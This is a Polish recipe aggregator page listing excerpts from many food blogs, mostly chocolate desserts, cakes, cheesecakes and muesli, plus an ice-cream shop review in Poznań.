przygotowanie jest banalnie proste: nie są potrzebne specjalne foremki do czekoladek, wystarczą te na muffiny. Jeśli tęsknicie za truskawkami, ten przepis jest dla Was :) Składniki (na 12 szt.): Czekolada: 3/4 szklanki oleju kokosowego lub masła kakaowego (roztopionego w kąpieli wodnej) 5 łyżek syropu z agawy (zamienniki: syrop klonowy lub miód w wersji niewegańskiej) 3/4 szklanki tradycyjnego kakao 1,5 łyżeczki(...)Odstawić do stężenia na ok. pół godziny - agar agar bardzo szybko tężeje i nie potrzebuje do tego lodówki. Po stężeniu delikatnie wyjąć masę z foremek. Foremki umyć i wysuszyć. Czekolada: Wymieszać olej kokosowy/ masło kakaowe z pozostałymi składnikami. Wylać po 1 łyżce do foremek silikonowych, wstawić na ok. pół godziny do lodówki do stężenia. Po tym czasie wyjąć foremki

Domowa Cookierenka Agi
.718. a ty zmiksowałeś już swoje musli? 115

produktów bez cukru czy ekologicznych. Potem przechodzimy do najfajniejszej (jak dla mnie :)) części - czyli dobieramy dodaaaatki! O jej, ile tu tego, co by tu wybrać, hmmmm...suszone owoce, orzechy, czekolada, przyprawy, a nawet żelki! Jeśli nie chce Wam się w to wszystko bawić możecie skorzystać z zakładki "Gotowe musli" :)  A teraz opowiem Wam o moim musli! Nieskromnie powiem(...)prawdę dobre musli :) Jako podstawę mieszanki wybrałam "Ahmed - Amaranth i miód" czyli preparowany amarantus i pszenica, miód, płatki owsiane, płatki gryczane chrupiące ; dodatkami były - liofilizowane brzoskwinie, wiórki z gorzkiej czekolady, chipsy owsiane, daktyle, cynamon, ziarna kawy w czekoladzie (jejku, jakie to pyszne!) oraz migdały.  Mam nadzieję, że teraz zajrzycie TUTAJ i skusicie się na wymieszanie swojego musli

breakfast of dreams
.805. niedziela dla owsianki 120

owsianka z karobem , kaki (również w środku) i domowym masłem orzechowym ; herbata pomarańcza-czekolada ~ Niedawno otrzymałam paczkę od sklepu internetowego Piątnica . Firma zajmuje się dystrybucją produktów własnej marki m.in. ryżów, kasz, płatków, przypraw, warzyw strączkowych, orzechów, herbat i wiele innych...Produkty są wytwarzane zgodnie z wymogami systemu HACCP oraz możecie je nabyć w naprawdę dobrych cenach! W najbliższym czasie będę(...)testować niektóre spośród produktów Piątnica, a będą to:   błonnik witalny , przyprawa pomidor-czosnek-bazylia , ryż z warzywami , kozieradka mielona , sezam czarny , orzechy piniowe , herbata pomarańcza z czekoladą , migdały w słupkach , miechunka suszona , płatki ryżowe , ziarno czarnuszki Dziś rano wypróbowałam już herbatę pomarańcza z czekoladą , bo ogromnie kusiła mnie swoim zapachem - czuć go były intensywnie nawet przez torebkę

breakfast of dreams
dietetyczne muffinki z masła orzechowego - bez mąki, cukru i tłuszczu // peanut butter muffins - flour, fat and sugar free 162

english version scroll down Witam wszystkich po przerwie! :) W Norwegii było wspaniale. Poznałam masę świetnych ludzi, zakochałam się w norweskich krajobrazach i tamtejszej czekoladzie :) Próbowałam brązowego sera z koziego mleka, który smakował jak ser o smaku słonej masy krówkowej! Na prawdę ciekawy smak, jeśli kiedykolwiek będziecie mieć okazję - próbujcie :) Mam nadzieję, że nie zapomnieliście o moim blogu? Na powrót(...)smaku ~50ml mleka (u mnie sojowe) ~jajko ~1/3 łyżeczki sody oczyszczonej ~1/3 łyżeczki proszku do pieczenia ~spora szczypta soli (pomijamy jeśli macie solone masło orzechowe) ~można dodać również posiekaną czekoladę/orzechy/suszone owoce jeśli nie zależy Wam na wersji super-light :) Masło, banana (pokrojonego w plasterki), mleko i jajko miksujemy razem. Dodajemy stevię, proszek do pieczenia, sodę, sól (opcjonalnie), czekoladę/orzechy/suszone

chili & sugar
Miodowe ciasto z orzechami laskowymi 109

margaryny do pieczenia 220 g płynnego miodu 4 jajka 150 g orzechów laskowych 150 g mąki pszennej pełnoziarnistej 1,5 łyżeczki proszku do pieczenia Krem: 100 g gorzkiej czekolady 70% 1 łyżeczka masła 200 ml śmietanki kremówki 36% Dekoracja: Lekko uprażone w piekarniku orzechy makadamia i laskowe Na początek natłuszczamy tortownicę i obsypujemy ją mąką, a na spód wycinamy kółko(...)suchego patyczka). Wyjmujemy z piekarnika i zostawiamy w formie jeszcze przez 10 minut. Po tym czasie wyjmujemy z formy i czekamy aż zupełnie ostygnie, najlepiej na kratce. Robimy krem: czekoladę kruszymy i roztapiamy z masłem w kąpieli wodnej ciągle mieszając. Śmietankę podgrzewamy prawie do wrzenia, powoli wlewamy do miseczki z czekoladą ciągle mieszając. Zdejmujemy znad pary, studzimy i wkładamy

Marder&Marder Manufacture
Sernik z czekoladowym musem i owocami-(dla gości) 163

budyń duży śmietankowy 1/2 szklanki mleka 100 g masła 1 szklanka cukru 1 cukier waniliowy 1/2 szklanki malin 1/2 szklanki czarnej porzeczki Mus: 2 jajka 1 tabliczka mlecznej czekolady 2 łyżki cukru pudru 1 łyżka rumu Owoce-maliny i porzeczki do dekoracji starta czekolada do posypania Sposób przygotowania CIASTO: Mąkę wysypać na stolnicę przemieszać z proszkiem do pieczenia dodać resztę(...)minut.  Studzić przy lekko uchylonych drzwiczkach aż będzie całkiem zimny. CZEKOLADOWY MUS: Białka jaj ubić na sztywna pianę dodając po łyżce cukru pudru w trakcie ubijania.  Czekoladę rozpuścić w kąpieli wodnej zmiksować z żółtkami i rumem wlać masę do ubitych białek i delikatnie wszystko razem zmiksować. Wylać mus na całkiem zimny sernik schłodzić około 4-5 godzin

Wanilia i Kardamon
Sernik śmietankowo-malinowy 158

Jeden z moich ulubionych serników o idealnie kremowej konsystencji, z białą czekoladą , delikatny, z orzeźwiającą warstwą malinową, kochają go moje dzieci . Cenię go za łatwość przygotowania, gwarantuję że uda się każdemu  nie ma za co tego ciasta nie kochać. Pycha! Składniki: Na blaszkę o wym 25/30 cm Ciasto: 1,5 szklanki mąki pszennej 150 g masła 1 łyżka śmietany(...)łyżki cukru Warstwa serowa: 1 kg mielonego twarożku z wiaderka 3/4 szklanki cukru 5 białek 2 żółtka 1 budyń śmietankowy 1/2 szklanki słodkiej śmietanki 30% 1/2 tabliczki białej czekolady olejek śmietankowy 2 łyżki masła Warstwa malinowa: 30 dag malin świeżych lub mrożonych 200 ml wody 4 łyżki cukru 1 łyżka soku z cytryny 2 galaretki malinowe Sposób przygotowania: Ciasto: Ciasto

Wanilia i Kardamon
Ciasto czekoladowo- pomarańczowe 150

Powstało przez przypadek ze względu na to, że pierwotnie miały być to ciasteczka :) Nie wyszło i tak oto powstało obłędnie czekoladowe ciacho czekoladowo - pomarańczowe :) Składniki: 200g gorzkiej czekolady 1,5 szklanki mąki 160g margaryny 1,5 szklanki brązowego cukru 1/3 szklanki mleka 0,5 szklanki soku pomarańczowego (wyciśniętego z pomarańczy) otarta skórka z pomarańczy łyżeczka ekstraktu pomarańczowego 2 łyżeczki proszku(...)pieczenia 2 jajka 6 łyżek kakao cukier puder (do posypania) Przygotowanie: Czekoladę rozpuszczamy w kapieli wodnej i studzimy. Cukier i margaryne miksujemy na gładka masę. Dodajemy jajka i ponownie miksujemy przez ok 2 minuty. Wlewamy przestygniętą czekoladę i ekstrakt pomarańczowy. Mąkę mieszamy z proszkiem do pieczenia i kakao i dodajemy na przemian z płynnymi składnikami. Miksujemy. Na koniec dodajemy otarta

ChilliJemy
Gorąca czekolada z chilli i cynamonem 100

długie zimowe (za oknem mamy jesień, ale w kalendarzu nadal zima) polecam rozgrzewającą i pięknie pachnącą czekoladę. Gęsta i rozpływajaca się w ustach przypadnie do gustu nie tylko łasuchom :) Składniki: 25ml wody 400ml mleka 250 śmietany 30% 100g gorzkiej czekolady pół łyżeczki ostrej papryki + papryczka chilli szczypta cynamonu 2 łyżeczki cukru wanilinowego Przygotowanie: Wodę i mleko oraz śmietanę wlewamy(...)rondelka, ale nie doprowadzamy do wrzenia. Dodajemy roztopioną w kąpieli wodnej czekoladę i mieszamy. W miarę gotowania dodajemy cukier, cynamon, oraz paprykę oraz chilli.Zagotowujemy. Po zestawieniu z kuchenki miksujemy na gładka masę. Najlepiej smakuje w dobrym towarzystwie

ChilliJemy
Babeczki ośmiornice 160

szklanki oleju 1 jajko Składniki na krem budyniowy: 1 budyń 1,5 szklanki mleka 2 łyżki cukru 0,5 kostki mleka +żelki ośmiornice, kokos, niebieski barwnik spożywczy, czekolada do rozpuszczenia Suche składniki mieszamy razem w misce. W osobnej misce mieszamy „mokre”: jajko, olej, mleko, śmietanę kremówkę. Łączymy razem suche i mokre składniki, mieszamy do uzyskania jednolitej masy. Dodajemy(...)pojawią się pierwsze bąbelki. Budyń odstawiamy do przestudzenia. Masło miksujemy na puszystą masę, dodajemy połowę zimnego budyniu i miksujemy. Drugą połowę budyniu zjadamy sami lub oddajemy do zjedzenia ;) Rozpuszczoną czekoladę przekładamy do woreczka i malujemy buzie ośmiornicom. Na zimne babeczki nakładamy krem budyniowy i „maczamy” w niebieskim kokosie. Przyklejamy ośmiornice używając rozpuszczonej czekolady jak kremu. Smacznego! ciastkożercy

Ciastkozercy
pyszne trio: czekoladowe ciasto z kremem i musem truskawkowym 2670

składniki na ciasto czekoladowe : 50 g czekolady gorzkiej 140 g cukru 150 g maki 20 g kakao 1 jajko 1/2 szkl mleka 1/4 szkl oleju 1/2 szkl śmietany 18% 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody wykonanie: Czekoladę łamiemy na mniejsze kawałki i rozpuszczamy w gorącym mleku. Odstawiamy do ostygnięcia. Jajko ucieramy z cukrem na puszystą masę. Dodajemy olej(...)oraz śmietanę i miksujemy. Następnie dodajemy rozpuszczoną czekoladę w mleku, miksujemy i dodajemy przesianą mąkę, proszek do pieczenia, sodę oraz kakao, wszystko miksujemy do połączenia się składników. Ciasto przelewamy do wyłożonej papierem do pieczenia foremki (21×26 cm). Pieczemy w 160 st. C. przez ok. 30 min. Po upieczeniu odstawiamy do wystudzenia. Gdyby środek za bardzo wyrósł, wyrównujemy ścinając

Domowy Smak Jedzenia
Deser - truskawkowa palisada 136

truskawkowym. Składniki: 300 g dojrzałych truskawek 100 ml śmietany 30 % (schłodzonej) 1 łyżka cukru pudru 2 -3 łyżki cukru trzcinowego lub innego 1 łyżka soku z cytryny 50 g czekolady + 1 łyżka mleka rurki puste w środku Przygotowanie: Truskawki umyć, oczyścić z szypułek. Włożyć do blendera, dodać sok z cytryny i cukier trzcinowy (ilość dostosować do słodyczy posiadanych truskawek), rozdrobnić(...)jednolitą masę. Masę wstawić do lodówki by się schłodziła. Do śmietany dodać cukier puder, ubić na sztywną pianę (nie przebić, gdyż powstaną grudki masła). Roztopić czekoladę z mlekiem (w kąpieli wodnej). Szklanki lub pucharki o szerokim i prostym dnie napełnić do 1/2 wysokości masą truskawkową. Następnie powstawiać rurki, wypełnić przestrzenie między nimi bitą śmietaną. Do środka rurek wlewać łyżeczką roztopioną

Kuchcik gotuje
Lodziarnie w Poznaniu: Kolorowa – lody naturalny, wyrób własny 195

oryginalne i zdecydowanie zachęcające do konsumpcji: Kinder Bueno (idealne dla małych smakoszy J ) Piernikowe z truskawką Mascarpone z czarną porzeczką (na zdjęciu) Snikers Banan z karmelem i herbatnikami w czekoladzie Malina z winem porto Sorbet mango Oraz klasyczne: Czekoladowe Śmietankowe Truskawkowo – śmietankowe Koszt porcji : 4zł (ale!!!! w tej cenie można wziąć smaki pół na pół, zdecydowany plus za taką możliwość(...)Płynna czekolada do wafla:  2zł Dodatkowy wafelek: za darmo Wafelek bezglutenowy: 1 zł (fajnie, że jest taka opcja, szkoda że płatna dodatkowo) Podsumowując: Lody w smaku są wyborne. Wafelek świeży i kruchy. Zdecydowanie polecamy skosztować oryginalnych smaków, które często się zmieniają. Cena nie jest wygórowana jak za porcję, którą otrzymujemy. Przed lodziarnią jest kilka krzeseł i ławka, więc jeśli

Kolizje Smaków
Sałatka szpinakowo-truskawkowa, Czekolada 200

słonecznika. Wymieszaj wszystkie składniki sosu. Polej nim sałatkę. Przepis bierze udział w akcji: Ten pozornie niewinny film wzbudził protesty kościoła, a pismo  Faith & Family  uznało  Czekoladę  (2000, Lasse Hallström) za jeden z najbardziej antykatolickich filmów w historii kina.  Lata 50., małe francuskie miasteczko. Vianne otwiera sklep z czekoladą. Spotyka się to z dezaprobatą księdza(...)burmistrza. Kobieta jednak nie zraża się niepowodzeniami i stara się zmienić życie mieszkańców i dać im trochę przyjemności – pyszną czekoladę.  Film baśniowy, nieco magiczny, optymistyczny – zdecydowanie warto obejrzeć. Spinach and strawberry salad, Chocolat A refreshing spring salad. Random proportions of ingredients. Enjoy! Ingredients: strawberries spinach mozzarella sunflower seeds sauce: wine vinegar or lemon juice, olive oil, salt, pepper Tear

Qlinarnie i Qlinarnie
Truskawki z czekoladą i miętą na kuskusie 123

Truskawki z czekoladą i miętą to idealne połączenie. Każdy ze składników tego trio pasuje do innego. Aby danie było bardziej pożywne, proponuję połączyć je z kaszą. Jeśli wykorzystamy kuskus, mamy dodatkowy atut tej potrawy - wykonanie w mgnieniu oka :) Składniki : pół szklanki kuskusu pół szklanki wrzątku kilka truskawek (+ 3 do dekoracji) łyżka cukru trzcinowego 4-5 liści mięty (u mnie bardzo(...)duże liście mięty omszonej) odrobina gorzkiej czekolady (u mnie 99%) Kuskus zalać wrzątkiem, zamieszać i przykryć. Truskawki wrzucić do rondla i podgrzać, by puściły sok i zmiękły. Miętę pokroić na paseczki. Ciepłe truskawki wymieszać z cukrem i częścią mięty. Dodać kuskus i wymieszać. Przełożyć na talerz. Udekorować świeżymi truskawkami. Posypać resztą mięty. A na całość zetrzeć czekoladę (jej ilość

Weekendy w domu i ogrodzie
Wielkanocny serowiec z orzechami 137

Serowiec to deser, który będzie gwiazdą na wielkanocnym stole. Delikatny ser, orzechy i gorzka czekolada tworzą zgrany zespół. Składniki 1 kg masy serowej 250 g mieszanki studenckiej lub ulubionych orzechów i rodzynek 3 łyżki ksylitolu lub cukru trzcinowego 50 g gorzkiej czekolady 3 łyżki mleka garść migdałów Masę serową mieszamy z ksylitolem lub cukrem trzcinowym i dzielimy na pół. Orzechy(...)rodzynki siekamy i mieszamy z połową masy serowej. Wykładamy nią formę do tarty. Drugą połowę masy serowej wykładamy na warstwę orzechową i wygładzamy łyżką. Czekoladę rozpuszczamy w kąpieli wodnej i mieszamy z trzema łyżkami mleka. Za pomocą łyżeczki tworzymy artystyczne wzory w wierzchu serowca. Ozdabiamy migdałami. Wstawiamy do lodówki na kilka godzin. Podajemy na zimno

My Chcemy Jeść
Cytrynowy deser z owocami - prosto, szybko i smacznie 194

mojej wersji nie używamy jajek, a wykonanie jest bardzo proste i szybkie. Deser najlepiej smakuje zaraz po wyjęciu z lodówki. Cytrynowy krem, owoce, a do tego nutka czekolady i waniliowej mięty... jak dla mnie idealna słodka rozpusta ;) Spróbujcie i Wy, zapraszam. * cytrynowy deser proponuję podawać w mniejszych kieliszkach, gdyż jest to naprawdę słodka uczta. Nie każdy musi być takim słodkim(...)deser zanim doszłam z nim do stołu ... cytrynowy kusiciel... Składniki: 3/4 szklanki śmietanki 36% 1 cytryna 8 łyżek cukru wybrane owoce - u mnie banan i czerwone śliwki odrobina startej czekolady kilka listków świeżej mięty waniliowej Przygotowanie: Do garnuszka z grubszym dnem wlewamy śmietankę, ustawiamy na małym płomieniu. Mieszając dosypujemy cukru (łyżka po łyżce). Mieszamy aż do rozpuszczenia cukru, następnie dodajemy

Słodkie okruszki
Petit pains au chocolate 85

delikatne i mięciutkie, odstraszają swoją ceną. A przecież można poświęcić chwilę podczas sobotniego poranka i przygotować te bułeczki samemu. Bez chemii, bez polepszaczy smaku, za to z kawałkami gorzkiej czekolady. Zapraszam do lektury wpisu, może uda mi się Was namówić na własny wypiek tych cudownych francuskich smakołyków. Niech smak przemówi ;) Potrzebne nam: - 2, 5 szklanki mąki pszennej - 1 łyżka mąki(...)ziemniaczanej - opakowanie drożdży w proszku - niepełna łyżeczka soli - szklanka ciepłego mleka - jajko - 4 łyżki oliwy z oliwek - 4 łyżki cukru - 4-5 kostek gorzkiej czekolady Przygotowanie:  Oba rodzaje mąki wymieszać z solą i drożdżami. Dodać żółtko (białko zostawić do posmarowania bułeczek), cukier, oliwę  i ciepłe mleko. Dokładnie wyrabiać do czasu aż postanie nieklejąca się, elastyczna kula ciasta. Czekoladę

W poszukiwaniu inspiracji
Konfitura truskawkowa z bananami i czekoladą 158

ziś chciałabym Wam polecić pyszne konfitury z truskawek i bananów z dodatkiem czekolady lub kakao. Znakomity dodatek do bułeczek śniadaniowych, gofrów, twarożków, jogurtów lub deserów. Po kilku minutach gotowania można się cieszyć pysznym i aromatycznym smarowidłem, i trudno się powstrzymać żeby nie wyjadać go łyżeczką wprost ze słoiczka :). Konfitury przygotowałam z trzcinowym cukrem żelującym Diamant w stosunku 1:1, jednak(...)ilości cukru.     Czas przygotowania: 20 minut Składniki: 800 g truskawek, 200 g bananów, 1000 g trzcinowego cukru żelującego Diamant, sok z jednej cytryny, 50 g gorzkiej czekolady lub 2-3 łyżki ciemnego kakao. Przygotowanie: Truskawki umyć, osączyć na sicie, usunąć szypułki, większe pokroić na ćwiartki. Banany pokroić w plasterki. Owoce zasypać cukrem, dodać połamaną czekoladę lub kakao

SzczyptaSmaQ
Tort czekoladowy z owocami 153

cukru, 3/4 szklanki mąki, 4 łyżki oleju, 2 łyżki kakao, 1/2 łyżki proszku do pieczenia, 1/2 łyżki octu, Masa czekoladowa: 350 ml śmietany 30%, 200g serka mascarpone, 1 tabliczka czekolady Klasycznej Gorzkiej Goplana, 2 łyżki cukru pudru, Dodatkowo: 50 ml wódki, truskawki i kiwi do dekoracji. PRZYGOTOWANIE: 1. Biszkopt : Białka ubijam na sztywną pianę. Stopniowo dodaję żółtka oraz cukier. Nadal(...)pieczenia. Ciasto wylewam na tortownicę (średnica 22cm) wyłożoną papierem do pieczenia. Piekę około 30 minut w temperaturze 180 stopni. Po przestudzeniu ciasto przekrawam na dwa blaty. 2. Masa czekoladowa : Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Chwilę studzę. Jeszcze płynną czekoladę łączę z serkiem mascarpone. Schłodzoną śmietanę ubijam na sztywno z cukrem pudrem. Delikatnie łączę śmietanę z masą

Tradycyjna kuchnia Kasi
Indyk w sosie czekoladowym z truskawkami, podany z marchewkowym makaronem 126

kuchni uwielbiam łączyć ze sobą ekstremalnie różne składniki. Tym razem połączyłam mięso, czekoladę i owoce. Potrawa wyszła bardzo smaczna. Czasami warto pozwolić sobie na odrobinę kulinarnego szaleństwa.  SKŁADNIKI: 2 golonki indycze,  2 łyżki masła, 1 szklanka czerwonego wytrawnego wina, 1 szklanka wody, 1/2 łyżki papryki słodkiej mielonej, 1 łyżka mąki, 1 tabliczka czekolady Klasycznej Gorzkiej Goplana(...)garnka i podsmażam na maśle. Mąkę mieszam z wodą i wlewam do mięsa. Następnie wlewam wino oraz wsypuję paprykę mieloną. Mięso duszę około godziny na małym ogniu. 2. Czekoladę łamię na kostki i dodaję do mięsa. Truskawki obieram z szypułek i kroję w ćwiartki. Owoce dodaję do mięsa. Wszystko razem duszę jeszcze około 5 minut. Sos doprawiam do smaku solą

Tradycyjna kuchnia Kasi
Mus z białej czekolady 114

Coś słodkiego na podwieczorek... Składniki: 1 i ½ tabliczki białej czekolady ½ szklanki mleka 2 łyżki żelatyny 1 jajko 1 łyżka cukru 2 łyżki kawy rozpuszczalnej 1 łyżka kakao 1 łyżka mąki ziemniaczanej 3 łyżki śmietany Wykonanie: Żelatynę zalać gorącą wodą, czekoladę rozpuścić w połowie gorącego mleka, ostudzić i dodać rozpuszczoną wcześniej żelatynę. Dodać ubite na pianę jajko, połączyć z ubitą śmietaną(...)przełożyć do pucharków i wstawić do lodówki. Pozostałe mleko wymieszać z cukrem, mąką ziemniaczaną, kakao , kawą rozpuszczalną i mieszając zagotować. Ostudzić następnie polać biały mus czekoladowy i ozdobić kawałkami czekolady

Tradycyjna Kuchnia
Krem czekoladowo- orzechowy 98

Przepis na pyszną masę do ciast i tortów. Tym razem połączenie orzechów i czekolady Składniki: 10 dag czekolady 10 dag cukru 1 łyżka masła 10 dag śmietanki 10 dag orzechów włoskich Wykonanie: Czekoladę rozdrobnić, dodać cukier, śmietankę i masło po czym wymieszać i zagotować. Następnie wsypać zmielone orzechy i gotować do uzyskania gęstej masy

Tradycyjna Kuchnia
Serowy pucharek pachnący kawą 59

Deser serowy z alkoholem i czekoladą :) Składniki: 40 dag białego zmielonego sera 1 tabliczka czekolady mlecznej ½ szklanki cukru pudru 3 łyżki mocnego naparu z kawy 1 łyżka wódki 1 łyżka kakao Wykonanie: Czekoladę rozpuścić na parze i zmiksować z serem i cukrem pudrem. Wlać alkohol, kawę i dokładnie wymieszać. Krem rozłożyć do pucharków, wstawić do lodówki i przed podaniem oprószyć

Tradycyjna Kuchnia
Polewa czekoladowa- prosty przepis 93

kakao Wykonanie: Żelatynę rozpuszczamy w gorącej wodzie, margarynę roztapiamy z resztą składników, dodajemy dobrze wymieszaną żelatynę, razem zagotowujemy i jeszcze raz dokładnie mieszamy. Lub inny przepis z wykorzystaniem gotowych czekolad: Składniki: 1 szklanka cukru, ½ szklanki śmietany, 1 cukier waniliowy, ½ tabliczki czekolady, 1 łyżka spirytusu. Wykonanie: Gotować cukier ze śmietaną i cukrem waniliowym przez osiem minut. Czekoladę rozpuścić na parze, połączyć

Tradycyjna Kuchnia
Owsiane markizy Walentynkowe- przepis krok po kroku 147

kokosowych Wykonanie masy kokosowej: Schłodzoną śmietankę ubić, dodać cukier i jeszcze raz ubić, dodać serek mascarpone z wiórkami i połączyć składniki. Składniki polewy: 125 ml mleczka kokosowego 125 gram czekolady deserowej Wykonanie polewy: Mleczko zagotować, zalać połamaną czekoladę,  mieszać do całkowitego rozpuszczenia się czekolady. Przed smarowaniem ciasteczek schłodzić w lodówce. POLECAM INNE PRZEPISY WALENTYNKOWE

Tradycyjna Kuchnia
Zdrowy mazurek 130

następnie zmielona kasza jaglana) 100g odtłuszczonej mąki migdałowej dostępnej w sklepie CENTRUM SYLWETKI 100g dojrzałego banana 50g masła orzechowego Krem: 80g daktyli (namoczone wcześniej w gorącej wodzie) 40g ciemnej czekolady bez dodatku cukru 1/4 szklanki mleka aromat karmelowy wiórki kokosa do posypania Sposób przygotowania: Banana blendujemy na miazgę i dodajemy do pozostałych składników na spód dokładnie ugniatamy ciasto rękami(...)minut do lodówki po tym czasie wyklejamy równomiernie ciastem wyłożoną papierem do pieczenia formę, zostawiając wyższe brzegi pieczemy w temperaturze 180 stopni przez około 20-25 minut, studzimy czekoladę rozpuszczamy w "kąpieli wodnej", ciągle mieszając dodajemy mleko i aromat od daktyli odlewamy wodę, wrzucamy do blendera razem z rozpuszczoną czekoladą i miksujemy na jednolity krem rozsmarowujemy równomiernie krem na wystudzonym

Zdrowo i dietetycznie. Moja rzeczywistość
Ciasto czekoladowe z bitą śmietaną z mascarpone, truskawkami i pistacjami. 176

Składniki: Ciasto: 125 g masła  w temperaturze pokojowej 220 g mąki pszennej tortowej 1 czubata łyżka kakao 2 łyżeczki proszku do pieczenia 120 g czekolady Goplana Pistachio 2 duże jajka 1 łyżeczka esencji waniliowej 2 łyżki śmietany kremówki 30% 150 ml kwaśnej śmietany 18% 150 g cukru 90 g obranych pistacji Dekoracja: około 200 g śmietany kremówki(...)serka mascarpone 20 g obranych pistacji 2 - 3 łyżki cukru pudru około 200 g truskawek           Sposób przyrządzania:             Czekoladę połamać na mniejsze kawałki, przełożyć do rondla z podwójnym dnem, dodać 2 łyżki śmietany kremówki. Rondel zanurzyć w większym garnku z wrzącą wodą, mieszać od czasu do czasu, aż powstanie gładka

Zakątek rozkoszy kulinarnych
Kasza od Łukasza, Charlie i Fabryka Czekolady 190

serową. Piecz deser przez ok. 20-25 minut. Przed podaniem odwróć deser do góry nogami. Podawaj z ulubionymi dodatkami. Przepis bierze udział w akcji: W  Charlim i Fabryce Czekolady  (2005, Tim Burton) poznajemy ekscentrycznego właściciela fabryki Willy’ego Wonkę oraz niezwykłą galerię postaci dziecięcych. Sama czekolada ma w filmie rolę drugoplanową. To dzięki niej zwycięzca konkursu wygrywa wycieczkę(...)fabryce. Co ciekawe, na potrzeby filmu firma Nestle wyprodukowała 100.000 tabliczek czekolady, z których tylko 1850 było jadalnych. Millet dessert from Łukasz, Charlie and the Chocolate factory Got the inspiration for this dessert from Łukasz. I added dried fruit and vanilla and baked the dessert in a muffin pan. It’s simple, tasty and healthy. PS You can use fresh

Qlinarnie i Qlinarnie
Ciasteczka kokosowe z morwą i czekoladą 127

Pyszne ciasteczka...upieczone z okazji Ciasta na niedzielę  ..Pomysł na takie ciasteczka zaproponowała Joanna ..Kombinacja bakalii dowolna...u mnie czekolada i morwa suszona...a na dodatek dodałam cukier i mąkę kokosową...pyszne były... 1 kostka masła (200g)  1 szkl. cukru [ u mnie 3/4 szkl.cukru białego i 1/4 szkl. cukru kokosowego ] 1 mały cukier wanilinowy (16g) [ 1 łyżka ekstraktu(...)oczyszczonej  2 ½ szkl. mąki pszennej [ u mnie 2 szkl.pszennej i 1/2 szkl. mąki kokosowej ] 1 łyżka gęstej śmietany - opcjonalnie, tylko w przypadku gdy masa wyjdzie zbyt zwarta  czekolada suszone owoce morwy czarnej Masło utrzeć z cukrem i ekstraktem mikserem na gładką masę. Dodać jajko i dalej ubijać. Stopniowo dodawać resztę sypkich składników (mąka, soda, sól) póki się

Moje domowe kucharzenie
Sernik na spodzie brownie z melonem i musem truskawkowym 119

wyrazistego smaku brownie, delikatnej masy serowej z kawałkami melona, pokrytej puree z owoców. Smakuje rewelacyjnie, wygląda też nieźle ;) Bardzo polecam! Składniki na spód brownie: 2 duże jajka 130 g czekolady gorzkiej Goplana 100 ml kremówki 70 g mąki pszennej 30 g kakao szczypta soli 75 g cukru Czekoladę połamać, zlać śmietanką i rozpuścić w kąpieli wodnej, cały czas mieszając. Odłożyć(...)Jajka ubijać przez kilka minut, do czasu, aż zwiększą objętość, w międzyczasie dodać cukier. Mąkę przesiać z kakao, wsypać do masy jajecznej, dodać sól i delikatnie wymieszać. Wlać przestudzoną czekoladę i dokładnie połączyć. Tortownicę o średnicy 18 cm natłuścić, wylać ciasto, wyrównać. Piec w temperaturze 180 stopni przez około 15-17 minut. Wystudzić. Masa serowa: 500 g twarogu, zmielonego minimum

Domowa cukiernia Ewy
Wysoko-magnezowy krem czekoladowy 153

deficyt w organizmie wpływa na trudność z koncentracją, bezsenność, zmęczenie fizyczne i psychiczne, nadmierną podatność na stres oraz drażliwość.  Składniki:  (2 porcje)  - gorzka czekolada - 5 kostek  - jogurt naturalny - 1 łyżka  - mleko - 2 łyżki  - orzechy laskowe - 10 sztuk  - kakao (naturalne) - 1 łyżka  - miód - 1 łyżeczka  Sposób przygotowania:  Orzechy(...)laskowe obrać z brązowych skórek, a następnie zmiksować na jednolitą masę. Czekoladę rozpuścić w kąpieli wodnej z dwoma łyżkami mleka. Do masy orzechowej dodać rozpuszczoną czekoladę, jogurt naturalny, kakao oraz miód. Całość dokładnie zmiksować. W kremie maczać owoce np. truskawki, kiwi lub pomarańcze.  Smacznego

Fit-amina
Tarta cytrynowa z kremem czekoladowym,różowym kajmakiem i rabarbarem 119

pszennej 100 g zimnego masła sok z jednej świeżej cytryny 1/3 łyżeczki cukru waniliowego Czekoladowy krem: budyń czekoladowy na 0,5 litra mleka 380 ml mleka 50 g gorzkiej czekolady 1 czubata łyżka masła Rabarbar: 2 łodygi rabarbaru 10-20 ml wody 5-6 łyżek cukru Różowy kajmak rabarbarowy 150 ml mleka 40 g cukru białego syrop z rabarbaru opcjonalnie(...)kilka kropli czerwonego barwnika Dekoracja: listek świeżej mięty łyżka śmietany kremówki 30% ubitej na sztywno grube wiórki czekolady gorzkiej do posypania całości Przygotowanie: Ciasto: 1. Mąki przesiać 2. Wszystkie składniki zmieszać z ugnieść z nich kruche ciasto 3. Owinąć ciasto w folię spożywczą i wstawić do lodówki na 20-30 minut w celu jego schłodzenia. 4. Po tym czasie wyjąć

KreatywnePiny
Jogurtowe babeczki z truskawkami i jaglanym kremem Rafaello 183

truskawek umytych i odszypułkowanych tyle właśnie użyłam, ale radzę dać mniej, by ciasto lepiej wyrosło krem - 100 g kaszy jaglanej - szklanka mleka - 50 g wiórków kokosowych - tabliczka białej czekolady - cukier waniliowy dodatkowo kilka truskawek Przygotowanie: Składniki powinny mieć temperaturę pokojową.  Jajka zmiksować z cukrem na puszystą masę, dodać jogurt i ponownie zmiksować. Przesiane mąki, budyń i proszek do pieczenia(...)piekarnika. Kaszę jaglaną kilkukrotnie przepłukać na sitku, zalać w garnku mlekiem, zagotować i trzymać przez kilkanaście minut. Następnie kaszę przemieszać i odstawić by całkowicie wchłonęła płyn. Połamaną na kawałki czekoladę rozpuścić w kąpieli wodnej lub mikrofalówce z dodatkiem odrobiny mleka. Połączyć z kaszą, wiórkami kokosowymi i cukrem. Dokładnie zblendować na gęsty krem, a następnie przełożyć do lodówki na czas pieczenia

Kuchnia Ellie
Bakalie, herbaty, kawy, przyprawy - z całego świata! 150

